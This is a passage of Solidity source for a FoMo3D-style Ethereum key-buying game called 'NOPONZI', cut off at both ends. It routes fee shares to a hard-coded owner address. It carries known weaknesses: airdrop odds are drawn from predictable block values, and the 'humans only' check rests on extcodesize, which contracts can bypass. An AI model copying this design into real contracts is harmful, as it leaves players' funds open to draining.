using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
otherFoMo3D private otherF3D_;
JIincForwarderInterface constant private Jekyll_Island_Inc = JIincForwarderInterface(0x80526AA5f9A2905809Aa8E1b861eca7895982c70);
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x01308cFf027cC3e130fB1c32114e89179b6c36A7);
string constant public name = "NOPONZI";
string constant public symbol = "NOPONZI";
address public owner;
uint256 private rndExtra_ = 10 minutes;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
owner=0xAE81cCb079B49f9149E54235802ad22a83A6e0dF;
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_p3d = _p3d.add(_com);
_com = 0;
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
owner.transfer(_p3d);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_p3d = _com;
_com = 0;
}
uint256 _long = _eth / 100;
otherF3D_.potSwap.value(_long)();
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
if (_p3d > 0)
owner.transfer(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0xAE81cCb079B49f9149E54235802ad22a83A6e0dF ||
msg.sender == 0x79Afe7a736bf84Bf5E61FE0480A59395F162a317 ,
"only team just can activate"
);
require(address(otherF3D_) != address(0), "must link to other FoMo3D first");
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function setOtherFomo(address _otherF3D)
public
{
require(
msg.sender == 0xAE81cCb079B49f9149E54235802ad22a83A6e0dF ||
msg.sender == 0x79Afe7a736bf84Bf5E61FE0480A59395F162a317 ,
"only team just can activate"
);
require(address(otherF3D_) == address(0), "silly dev, you already did that");
otherF3D_ = otherFoMo3D(_otherF3D);
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
